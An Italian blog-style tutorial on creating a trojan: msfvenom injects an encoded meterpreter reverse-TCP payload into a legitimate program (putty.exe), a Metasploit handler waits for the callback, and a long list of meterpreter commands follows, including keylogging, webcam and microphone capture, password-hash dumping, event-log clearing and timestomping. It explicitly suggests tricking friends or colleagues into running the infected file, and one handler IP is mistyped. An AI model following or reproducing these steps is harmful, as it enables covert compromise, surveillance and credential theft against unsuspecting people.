In questa guida andiamo a vedere una tecnica molto interessante su come creare un trojan. Lo scopo è quello di garantirci l’accesso remoto ad un sistema, in questa guida prendiamo come ‘vittima’ una macchina con piattaforma windows, volendo però si può fare la stessa cosa per macchine con S.O. linux o osx.

Per fare ciò andremo a creare un trojan contenente un particolare payload che alla sua esecuzione ci andrà ad aprire una shell di controllo sulla macchina vittima.

Ci sono varie tecniche che permettono la generazione di un trojan di questo tipo:

  1. Possiamo creare un semplice trojan che si avvierà
  2. Possiamo andare ad infettare un programma legittimo che continuerà ad effettuare tutte le sue normali operazioni ma che al suo interno conterrà il payload che serve a noi per avere accesso remoto alla macchina.

Ovviamente l’opzione da tenere maggiormente in considerazione è la seconda poichè un utente vittima, anche totalmente inesperto potrebbe insospettirsi vendo un programma che avviato non faccia nulla, o in linea di massima sarà meno propenso ad avviare un programma che non conosce.

La scelta del programma da infettare è indifferente, in base al caso e in base alla vittima possiamo sceglierne uno o un altro: può essere il file di installazione di un programma (un setup qualsiasi) o un qualsiasi applicativo avviabile.

In un caso reale sarebbe abbastanza facile fornire al nostro utente vittima un file che a lui serve ma che contiene anche il nostro trojan, immaginiamo un ‘amico’ che ci chieda la crack di un programma o un collega che ci chieda l’ultima versione del programma di installazione della suite di office.

 

Per fare ciò utilizzeremo MSFVenom, un particolare tool del Metasploit Framework il cui compito è quello di generare payload.

Possiamo installare questo framework su una qualsiasi macchina linux, per comodità utilizzeremo una distribuzione basata su kali linux che contiene già al suo interno questo tool.

Per questioni di praticità faremo questo attacco in locale, nulla però ci vieta di installare il tool su un nostro server o su di un VPS e attaccare anche da remoto.

Cosa ci serve?

  1. IP della macchina attaccante (il trojan una volta in esecuzione avvierà un canale di comunicazione con questo indirizzo)
  2. Una porta di rete di nostra arbitraria scelta (useremo la porta 4445 che solitamente non è utilizzata da nessun applicativo preinstallato sulla macchina vittima windows)

 

Apriamo dunque il nostro terminale linux con il comando ifconfig possiamo facilmente andare ad ottenere il nostro ip (una serie di nostri ip, uno per ogni scheda di rete sia locale che remoto)

Nel mio caso che sono connesso ad internet sull’interfaccia wlan0 il mio ip locale sarà 192.168.1.3

Una volta ottenuto il nostro indirizzo non dobbiamo far altro che scegliere il programma in cui iniettare il nostro trojan, scegliamo putty, un’utility utilizzata da molti utenti windows per stabilire connessioni SSH (possiamo scegliere un qualsiasi programma).

Posizioniamo il programma vittima in una qualsiasi cartella e apriamola da terminale. Scriviamo poi da shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x nomeprogramma.exe -k LHOST=nostroip LPORT=portascelta -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o programmainfettato.exe

Al campo nomeprogramma.exe sostituiamo il nome del programma che vogliamo infettare, alla voce LHOST e LPORT inseriamo rispettivamente il nostro ip e la porta da noi scelta e alla voce programmainfetto.exe inseriamo il nome che vogliamo dare alla versione infettata del programma che abbiamo deciso di utilizzare come vettore del nostro trojan.

Nel mio caso sarà:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x putty.exe -k LHOST=192.168.1.3 LPORT=4445 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o putty2.exe

La schell ci comunicherà che tutto è andato a buon fine e che il programma infetto è stato creato con il nome di putty2.exe, nome che abbiamo scelto noi tramite l’opzione -o nel comando precedente.

Ora non resta altro da fare che attendere che la vittima apra il programma infetto, prima però dobbiamo configurare un handler che possa gestire la connessione che il trojan instaurerà tra la macchina vittima e la nostra. Sempre da shell avviamo:

  • Postgresql con il comando
service postrgresql start
  • msfconsole (che useremo per creare l’handler e attendere che la vittima apra il programma)
msfconsole

Una volta avviata ci troviamo di fronte alla seguente schermata

Nella console di Metasploit appena aperta (msfconsole) digitiamo

use exploit/multi/handler

Poi digitiamo

set PAYLOAD windows/meterpreter/reverse_tcp

poichè è quello il formato del payload scelto nella creazione del nostro trojan

Settiamo ora host e porta lanciando i due comandi

set LHOST nostro_ip
set LPORT porta_scelta

che nel mio caso saranno

set LHOST 192.168.168.1.3
set LPORT 4445

L’ultima cosa che ora ci resta da fare è mettere l’hadler in ascolto aspettando che la vittima apra il file utilizzando il comando run

Eseguite con successo tutte queste operazioni il risultato sarà il seguente:

Ora non resta altro che attendere (senza ovviamente chiudere la console) che la vittima apra il programma infettato.

Non appena la vittima avvierà il programma la console ce lo notificherà: SIAMO UFFICIALMENTE NEL PC VITTIMA REMOTO!

Possiamo ora fare qualsiasi cosa, possiamo usare questa shell come una shell normale (utilizzando il comando shell) o utilizzare particolari script per fare di tutto e di più. utilizzando il comando help possiamo vedere gli script preimpostati che variano dal più banale: cambia lo sfondo del desktop al registra audio/video da webcam/microfono.

Avendo accesso come se fosse una shell possiamo inoltre navigare in tutte le cartelle di sistema, accedere a file, cancellare file e qualsiasi cosa ci interessi fare. Oltre ai semplici comandi da shell ecco una lista delle cose più interessanti che metasploit ci mette a disposizione una volta instaurata una connessione:

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes


La seguente guida è stata fatta solo a scopo informativo 🙂 <3